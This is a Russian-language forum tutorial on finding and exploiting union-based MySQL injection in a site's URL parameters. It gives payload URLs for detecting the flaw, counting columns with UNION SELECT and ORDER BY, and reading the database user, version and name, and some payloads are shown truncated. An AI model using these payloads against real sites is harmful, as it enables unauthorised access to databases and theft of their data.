Просмотр поста

.
Герц
Практикум
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
Код:

http://www.site.ru/index.php?page=1

Способ №1
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
Код:

http://www.site.ru/index.php?page=1'

Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.

Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
Код:

http://www.site.ru/index.php?page=2-1

Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.
Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:

http://www.site.ru/index.php?p ... ull/*
или
http://www.site.ru/index.php?p ... ull/*

То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null

и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
Код:
http://www.site.ru/index.php?p ... ull/*

Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
Приведу пример запроса:
Код:
?id=-1+order+by+100/*

Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.
Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
Код:
http://www.site.ru/index.php?p ... 5,6/*

Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:

http://www.site.ru/index.php?p ... USER(),4,5,6/*
http://www.site.ru/index.php?p ... SION(),4,5,6/*
http://www.site.ru/index.php?p ... BASE(),4,5,6/*